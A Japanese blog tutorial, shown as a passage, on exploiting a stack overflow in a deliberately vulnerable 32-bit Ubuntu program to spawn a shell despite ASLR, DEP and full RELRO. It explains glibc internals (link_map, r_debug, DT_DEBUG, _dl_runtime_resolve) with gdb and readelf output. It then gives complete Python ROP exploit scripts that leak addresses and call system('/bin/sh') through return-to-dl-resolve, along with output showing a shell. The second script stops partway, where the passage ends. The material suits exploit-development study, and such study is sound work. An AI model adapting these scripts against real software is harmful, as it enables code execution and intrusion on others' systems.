読者です 読者をやめる 読者になる 読者になる

ROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避

「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらにRELROが有効な場合について、DT_DEBUGシンボルを利用したシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

実行時におけるPLT、GOTセクションの内容を調べてみる

Return-to-dl-resolveでは、実行時にGOTセクションの先頭にセットされる_dl_runtime_resolve関数のアドレスを利用していた。 しかし、lazy bindingが無効な場合、GOTアドレスの値は実行直後に解決され、それ以降解決されることはない。 そこで、gdbを使い、実行時におけるPLT、GOTセクションの内容を調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08048300 - 0x08048350 is .plt
        0x08049fe0 - 0x0804a000 is .got
(gdb) x/4i 0x08048300
   0x8048300:   push   DWORD PTR ds:0x8049fe4
   0x8048306:   jmp    DWORD PTR ds:0x8049fe8
   0x804830c:   add    BYTE PTR [eax],al
   0x804830e:   add    BYTE PTR [eax],al
(gdb) x/2wx 0x8049fe4
0x8049fe4 <_GLOBAL_OFFSET_TABLE_+4>:    0x00000000      0x00000000
(gdb) quit

上の結果から、PLTセクションはRELROが無効の場合と変わらないが、GOTセクションに_dl_runtime_resolve関数のアドレスなどがセットされていないことがわかる。 実際にglibcソースコードを調べてみると、これらのアドレスをセットする関数はx86の場合次のようになっている。

/* Set up the loaded object described by L so its unrelocated PLT
   entries will jump to the on-demand fixup code in dl-runtime.c.  */

static inline int __attribute__ ((unused, always_inline))
elf_machine_runtime_setup (struct link_map *l, int lazy, int profile)
{
  Elf32_Addr *got;
  extern void _dl_runtime_resolve (Elf32_Word) attribute_hidden;
  extern void _dl_runtime_profile (Elf32_Word) attribute_hidden;

  if (l->l_info[DT_JMPREL] && lazy)
    {
      /* The GOT entries for functions in the PLT have not yet been filled
         in.  Their initial contents will arrange when called to push an
         offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1],
         and then jump to _GLOBAL_OFFSET_TABLE[2].  */
      got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]);
      /* If a library is prelinked but we have to relocate anyway,
         we have to be able to undo the prelinking of .got.plt.
         The prelinker saved us here address of .plt + 0x16.  */
      if (got[1])
        {
          l->l_mach.plt = got[1] + l->l_addr;
          l->l_mach.gotplt = (Elf32_Addr) &got[3];
        }
      got[1] = (Elf32_Addr) l;  /* Identify this shared object.  */

      /* The got[2] entry contains the address of a function which gets
         called to get the address of a so far unresolved function and
         jump to it.  The profiling extension of the dynamic linker allows
         to intercept the calls to collect information.  In this case we
         don't store the address in the GOT so that all future calls also
         end in this function.  */
      if (__builtin_expect (profile, 0))
        {
          got[2] = (Elf32_Addr) &_dl_runtime_profile;

          if (GLRO(dl_profile) != NULL
              && _dl_name_match_p (GLRO(dl_profile), l))
            /* This is the object we are looking for.  Say that we really
               want profiling and the timers are started.  */
            GL(dl_profile_map) = l;
        }
      else
        /* This function will get called to fix up the GOT entry indicated by
           the offset on the stack, and then jump to the resolved address.  */
        got[2] = (Elf32_Addr) &_dl_runtime_resolve;
    }

  return lazy;
}

上のコードから、変数lazyがfalse、すなわち遅延バインドが無効な場合、GOTセクションの2ワード目、3ワード目がセットされないことがわかる。

GOTセクションに書かれるアドレスの詳細を調べてみる

一旦RELROを無効にしてコンパイルし直し、GOTセクションの2ワード目、3ワード目に入っている値について調べてみる。

$ gcc -fno-stack-protector bof.c

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08048300 - 0x08048350 is .plt
        0x08049ff4 - 0x0804a010 is .got.plt
(gdb) x/4i 0x08048300
   0x8048300:   push   DWORD PTR ds:0x8049ff8
   0x8048306:   jmp    DWORD PTR ds:0x8049ffc
   0x804830c:   add    BYTE PTR [eax],al
   0x804830e:   add    BYTE PTR [eax],al
(gdb) x/2wx 0x8049ff8
0x8049ff8 <_GLOBAL_OFFSET_TABLE_+4>:    0xb7fff918      0xb7ff26a0

上のソースコードと比較すると、一つ目がライブラリの判別に使われるlink_map構造体、二つ目が_dl_runtime_resolve関数であることがわかる。 link_map構造体は各ライブラリのdynamicセクションのアドレスなどが書かれた構造体であり、双方向リストとしてライブラリごとの構造体を参照し合っている。 ソースコードから定義を調べると次のようになる。

/* Structure describing a loaded shared object.  The `l_next' and `l_prev'
   members form a chain of all the shared objects loaded at startup.

   These data structures exist in space used by the run-time dynamic linker;
   modifying them may have disastrous results.  */

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;          /* Base address shared object is loaded at.  */
    char *l_name;               /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

実際にgdbで対応する値を調べてみる。

(gdb) x/5wx 0xb7fff918
0xb7fff918:     0x00000000      0xb7ff7bc5      0x08049f28      0xb7fdd858
0xb7fff928:     0x00000000
(gdb) x/s 0xb7ff7bc5
0xb7ff7bc5:      ""
(gdb) x/wx 0x08049f28
0x8049f28 <_DYNAMIC>:   0x00000001
(gdb) x/5wx 0xb7fdd858
0xb7fdd858:     0xb7e29000      0xb7fdd838      0xb7fced7c      0xb7fff53c
0xb7fdd868:     0xb7fff918
(gdb) x/s 0xb7fdd838
0xb7fdd838:      "/lib/i386-linux-gnu/libc.so.6"
(gdb) x/5wx 0xb7fff53c
0xb7fff53c <_rtld_global+1308>: 0xb7fde000      0x08048154      0xb7ffef1c      0x00000000
0xb7fff54c <_rtld_global+1324>: 0xb7fdd858
(gdb) x/s 0x08048154
0x8048154:       "/lib/ld-linux.so.2"
(gdb) i proc map
        0xb7e29000 0xb7fcd000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
(gdb) i files
        0xb7fced7c - 0xb7fcee6c is .dynamic in /lib/i386-linux-gnu/libc.so.6
        0xb7ffef1c - 0xb7ffefd4 is .dynamic in /lib/ld-linux.so.2

上の結果を整理すると、次のようになる。

                l_addr          *l_name         *l_ld           *l_next         *l_prev
                ----------      ----------      ----------      ----------      ----------
0xb7fff918:     0x00000000      0xb7ff7bc5      0x08049f28      0xb7fdd858      0x00000000
link_map[0]                     ""              .dynamic        link_map[1]

0xb7fdd858:     0xb7e29000      0xb7fdd838      0xb7fced7c      0xb7fff53c      0xb7fff918
link_map[1]     base address    "libc.so.6"     .dynamic        link_map[2]     link_map[0]

0xb7fdd858:     0xb7fde000      0x08048154      0xb7ffef1c      0x00000000      0xb7fdd858
link_map[2]     base address    "ld-linux.so.2" .dynamic                        link_map[1]

リストの要素は、それぞれ実行ファイル、libc、ld-linux(ダイナミックリンカ)に対応している。 なお、この並びはlddコマンドが表示するものと同じである。

$ ldd a.out
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4b000)
        /lib/ld-linux.so.2 (0x80000000)

一方、_dl_runtime_resolve関数については次のような関数となっている。

(gdb) x/20i 0xb7ff26a0
   0xb7ff26a0:  push   eax
   0xb7ff26a1:  push   ecx
   0xb7ff26a2:  push   edx
   0xb7ff26a3:  mov    edx,DWORD PTR [esp+0x10]
   0xb7ff26a7:  mov    eax,DWORD PTR [esp+0xc]
   0xb7ff26ab:  call   0xb7fec1d0
   0xb7ff26b0:  pop    edx
   0xb7ff26b1:  mov    ecx,DWORD PTR [esp]
   0xb7ff26b4:  mov    DWORD PTR [esp],eax
   0xb7ff26b7:  mov    eax,DWORD PTR [esp+0x4]
   0xb7ff26bb:  ret    0xc
   ...

dynamicセクションについて調べてみる

ここまでの内容より、link_map構造体から各ファイルのdynamicセクションのアドレスが得られることがわかった。 そこで、RELROを再度有効にし、readelfコマンドで実行ファイルのdynamicセクションの内容を表示してみる。

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ readelf -d a.out

Dynamic section at offset 0xf08 contains 22 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482d0
 0x0000000d (FINI)                       0x804851c
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      80 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x8049fe0
 0x00000002 (PLTRELSZ)                   32 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80482b0
 0x00000011 (REL)                        0x80482a8
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x00000018 (BIND_NOW)
 0x6ffffffb (FLAGS_1)                    Flags: NOW
 0x6ffffffe (VERNEED)                    0x8048288
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x804827c
 0x00000000 (NULL)                       0x0

上の内容を見ると、dynamicセクションから他のセクションのアドレスが得られることがわかる。 ここで、objdumpコマンドを使いdynamicセクションの中身をバイト列として出力すると次のようになる。

$ objdump -s -j.dynamic a.out

a.out:     file format elf32-i386

Contents of section .dynamic:
 8049f08 01000000 10000000 0c000000 d0820408  ................
 8049f18 0d000000 1c850408 f5feff6f ac810408  ...........o....
 8049f28 05000000 2c820408 06000000 cc810408  ....,...........
 8049f38 0a000000 50000000 0b000000 10000000  ....P...........
 8049f48 15000000 00000000 03000000 e09f0408  ................
 8049f58 02000000 20000000 14000000 11000000  .... ...........
 8049f68 17000000 b0820408 11000000 a8820408  ................
 8049f78 12000000 08000000 13000000 08000000  ................
 8049f88 18000000 00000000 fbffff6f 01000000  ...........o....
 8049f98 feffff6f 88820408 ffffff6f 01000000  ...o.......o....
 8049fa8 f0ffff6f 7c820408 00000000 00000000  ...o|...........
 8049fb8 00000000 00000000 00000000 00000000  ................
 8049fc8 00000000 00000000 00000000 00000000  ................
 8049fd8 00000000 00000000                    ........

readelfコマンドの出力と比較すると、TagとName/Valueが交互に並んでいることがわかる。 実際、dynamicセクションにはElf32_Dyn構造体が並んでおり、その定義は次のようになっている。

/* Dynamic section entry.  */

typedef struct
{
  Elf32_Sword   d_tag;                  /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;                 /* Integer value */
      Elf32_Addr d_ptr;                 /* Address value */
    } d_un;
} Elf32_Dyn;

/* Legal values for d_tag (dynamic entry type).  */

#define DT_NULL         0               /* Marks end of dynamic section */
#define DT_NEEDED       1               /* Name of needed library */
#define DT_PLTGOT       3               /* Processor defined value */
#define DT_DEBUG        21              /* For debugging; unspecified */

なお、libcなどの共有ライブラリの場合d_ptrにはアドレスとしてファイル先頭からのオフセット値が入るが、実行時に実際のアドレスに置き換えられる。

ここで、DT_DEBUGに着目してみる。 DT_DEBUG (0x15) はgccが標準で埋め込むデバッグ用シンボルであり、対応するd_un共用体には実行時に次のr_debug構造体を指すアドレスが入る。

/* Rendezvous structure used by the run-time dynamic linker to communicate
   details of shared object loading to the debugger.  If the executable's
   dynamic section has a DT_DEBUG element, the run-time linker sets that
   element's value to the address where this structure can be found.  */

struct r_debug
  {
    int r_version;              /* Version number for this protocol.  */

    struct link_map *r_map;     /* Head of the chain of loaded objects.  */

    /* This is the address of a function internal to the run-time linker,
       that will always be called when the linker begins to map in a
       library or unmap it, and again when the mapping change is complete.
       The debugger can set a breakpoint at this address if it wants to
       notice shared object mapping changes.  */
    ElfW(Addr) r_brk;
    enum
      {
        /* This state value describes the mapping change taking place when
           the `r_brk' address is called.  */
        RT_CONSISTENT,          /* Mapping change is complete.  */
        RT_ADD,                 /* Beginning to add a new object.  */
        RT_DELETE               /* Beginning to remove an object mapping.  */
      } r_state;

    ElfW(Addr) r_ldbase;        /* Base address the linker is loaded at.  */
  };

/* This is the instance of that structure used by the dynamic linker.  */
extern struct r_debug _r_debug;
static void
dl_main (const ElfW(Phdr) *phdr,
         ElfW(Word) phnum,
         ElfW(Addr) *user_entry,
         ElfW(auxv_t) *auxv)
{
  (snip)

  /* Initialize _r_debug.  */
  struct r_debug *r = _dl_debug_initialize (GL(dl_rtld_map).l_addr,
                                            LM_ID_BASE);

  (snip)

  /* Set up debugging before the debugger is notified for the first time.  */
#ifdef ELF_MACHINE_DEBUG_SETUP
  /* Some machines (e.g. MIPS) don't use DT_DEBUG in this way.  */
  ELF_MACHINE_DEBUG_SETUP (main_map, r);
  ELF_MACHINE_DEBUG_SETUP (&GL(dl_rtld_map), r);
#else
  if (main_map->l_info[DT_DEBUG] != NULL)
    /* There is a DT_DEBUG entry in the dynamic section.  Fill it in
       with the run-time address of the r_debug structure  */
    main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r;

  /* Fill in the pointer in the dynamic linker's own dynamic section, in
     case you run gdb on the dynamic linker directly.  */
  if (GL(dl_rtld_map).l_info[DT_DEBUG] != NULL)
    GL(dl_rtld_map).l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r;
#endif

  (snip)
}

この構造体は、gdbが動的にロードされたライブラリの情報を取得するためなどに使われている。

実際に、gdbでDT_DEBUG (0x15) に対応する値を確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08049f08 - 0x08049fe0 is .dynamic
(gdb) x/60wx 0x08049f08
0x8049f08 <_DYNAMIC>:   0x00000001      0x00000010      0x0000000c      0x080482d0
0x8049f18 <_DYNAMIC+16>:        0x0000000d      0x0804851c      0x6ffffef5      0x080481ac
0x8049f28 <_DYNAMIC+32>:        0x00000005      0x0804822c      0x00000006      0x080481cc
0x8049f38 <_DYNAMIC+48>:        0x0000000a      0x00000050      0x0000000b      0x00000010
0x8049f48 <_DYNAMIC+64>:        0x00000015      0xb7fff904      0x00000003      0x08049fe0
0x8049f58 <_DYNAMIC+80>:        0x00000002      0x00000020      0x00000014      0x00000011
...
0x8049fd8 <_DYNAMIC+208>:       0x00000000      0x00000000      0x08049f08      0x00000000
0x8049fe8 <_GLOBAL_OFFSET_TABLE_+8>:    0x00000000      0xb7f08210      0x00000000      0xb7e423e0
(gdb) x/5wx 0xb7fff904
0xb7fff904 <_r_debug>:  0x00000001      0xb7fff918      0xb7fed670      0x00000000
0xb7fff914 <_r_debug+16>:       0xb7fde000

ここで、r_debug構造体のr_mapに0xb7fff918、すなわち実行ファイルのlink_mapが入っていることがわかる。

以上をまとめると、次の流れでlink_map構造体および_dl_runtime_resolve関数のアドレスが得られることがわかる。

  1. 実行ファイルのdynamicセクションから、DT_DEBUGに対応する値としてr_debug構造体のアドレスを得る
  2. r_debug構造体からlink_map構造体のアドレスを得る
  3. link_map構造体のl_nextをたどり、適当なライブラリ(LIB)のlink_map構造体を得る
  4. LIBのlink_map構造体から、LIBのdynamicセクションのアドレスを得る
  5. LIBのdynamicセクションから、DT_GOTPLTに対応する値としてLIBのGOTセクションのアドレスを得る
  6. LIBのGOTセクションから、3ワード目の値として_dl_runtime_resolve関数のアドレスを得る

ここで、各ライブラリのGOTセクションで参照される_dl_runtime_resolve関数は共通となるため、LIBはlibcでなくてもよい。

なお、DT_DEBUGシンボルはgccの代わりにclangを使った場合でも標準で埋め込まれ、stripコマンドを使っても削除されない。

$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ readelf -d a.out
 0x00000015 (DEBUG)                      0x0

$ strip --strip-all a.out

$ readelf -d a.out
 0x00000015 (DEBUG)                      0x0

エクスプロイトコードを書いてみる

以上の内容をもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x080481cc     # readelf -S a.out
addr_dynstr = 0x0804822c     # readelf -S a.out
addr_relplt = 0x080482b0     # readelf -S a.out
addr_plt = 0x08048300        # readelf -S a.out
addr_bss = 0x0804a008        # readelf -S a.out
addr_plt_read = 0x8048310    # objdump -d -j.plt a.out
addr_plt_write = 0x8048340   # objdump -d -j.plt a.out
addr_dt_debug = 0x8049f4c    # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080484cf    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x100

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 1000)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

buf2 = 'AAAA'

# read dt_debug
addr_esp = base_stage + 4
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += struct.pack('<I', addr_dt_debug)
buf2 += struct.pack('<I', 4)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read r_debug
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_r_debug
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read link_map
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_link_map
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read link_map_lib
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_link_map_lib
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read lib_dynamic
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_lib_dynamic
buf2 += struct.pack('<I', size_bulkread)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read lib_gotplt
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_lib_gotplt
buf2 += struct.pack('<I', 12)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+40)
buf2 += struct.pack('<I', 8)

# call dl_resolve
addr_esp += 40
addr_reloc = addr_esp + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 += 'AAAA'  # addr_dl_resolve
buf2 += 'AAAA'  # addr_link_map
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_bss)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)   # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)

addr_r_debug = p.stdout.read(4)
print "[+] addr_r_debug = %08x" % struct.unpack('<I', addr_r_debug)[0]
p.stdin.write(addr_r_debug)

addr_link_map = p.stdout.read(20)[4:8]
print "[+] addr_link_map = %08x" % struct.unpack('<I', addr_link_map)[0]
p.stdin.write(addr_link_map)

addr_link_map_lib = p.stdout.read(20)[12:16]
print "[+] addr_link_map_lib = %08x" % struct.unpack('<I', addr_link_map_lib)[0]
p.stdin.write(addr_link_map_lib)

addr_lib_dynamic = p.stdout.read(20)[8:12]
print "[+] addr_lib_dynamic = %08x" % struct.unpack('<I', addr_lib_dynamic)[0]
p.stdin.write(addr_lib_dynamic)

lib_dynamic = p.stdout.read(size_bulkread)
addr_lib_gotplt = lib_dynamic.split('\x03\x00\x00\x00')[1][:4]
print "[+] addr_lib_gotplt = %08x" % struct.unpack('<I', addr_lib_gotplt)[0]
p.stdin.write(addr_lib_gotplt)

addr_dl_resolve = p.stdout.read(12)[8:12]
print "[+] addr_dl_resolve = %08x" % struct.unpack('<I', addr_dl_resolve)[0]
p.stdin.write(addr_dl_resolve + addr_link_map)

p.wait()

このコードは、オーバーフローさせるバッファサイズを引数に取る。 コードの内容としては、ROP stagerでbssセグメントに書き込みstack pivotした後、read/writeを使って順番にデータを読み書きしていく。 libcのdynamicセクションについては、変数size_bulkreadにて指定したサイズ(0x100)だけデータを読み込んだ後、DT_GOTPLT (0x3) に対応する値を切り出すことでGOTセクションのアドレスを得る。 そして最後に、得られたlink_map構造体と_dl_runtime_resolve関数のアドレスをもとに、Return-to-dl-resolveにてsystem関数を呼び出す。 ここで、解決したライブラリ関数のアドレスが書き込まれるElf32_Rel構造体のr_offsetには、GOTアドレスの代わりにbssセクションなど書き込み可能なアドレスをセットする。 これはRELROによりGOTセクションが書き込み不可となっているためである。

引数をセットし実行すると次のようになる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_r_debug = b7730904
[+] addr_link_map = b7730918
[+] addr_link_map_lib = b770e858
[+] addr_lib_dynamic = b76ffd7c
[+] addr_lib_gotplt = b76ffff4
[+] addr_dl_resolve = b77236a0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLR+DEP+RELROが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

近い位置にあるデータをまとめて読み出してみる

上の結果から、r_debugとlink_map、lib_dynamicとlib_gotpltのアドレスが近いことがわかる。 そこで、これらをまとめて読み出すことで読み書きの回数を減らしてみると次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x080481cc     # readelf -S a.out
addr_dynstr = 0x0804822c     # readelf -S a.out
addr_relplt = 0x080482b0     # readelf -S a.out
addr_plt = 0x08048300        # readelf -S a.out
addr_bss = 0x0804a008        # readelf -S a.out
addr_plt_read = 0x8048310    # objdump -d -j.plt a.out
addr_plt_write = 0x8048340   # objdump -d -j.plt a.out
addr_dt_debug = 0x8049f4c    # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080484cf    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x400

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 1000)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

buf2 = 'AAAA'

# read dt_debug
addr_esp = base_stage + 4
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += struct.pack('<I', addr_dt_debug)
buf2 += struct.pack('<I', 4)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read r_debug and link_map
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_r_debug
buf2 += struct.pack('<I', size_bulkread)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read link_map_lib
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_link_map_lib
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read lib_dynamic and lib_gotplt
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_lib_dynamic
buf2 += struct.pack('<I', size_bulkread)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+40)
buf2 += struct.pack('<I', 8)

# call dl_resolve
addr_esp += 40
addr_reloc = addr_esp + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 += 'AAAA'  # addr_dl_resolve
buf2 += 'AAAA'  # addr_link_map
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_bss)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)   # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
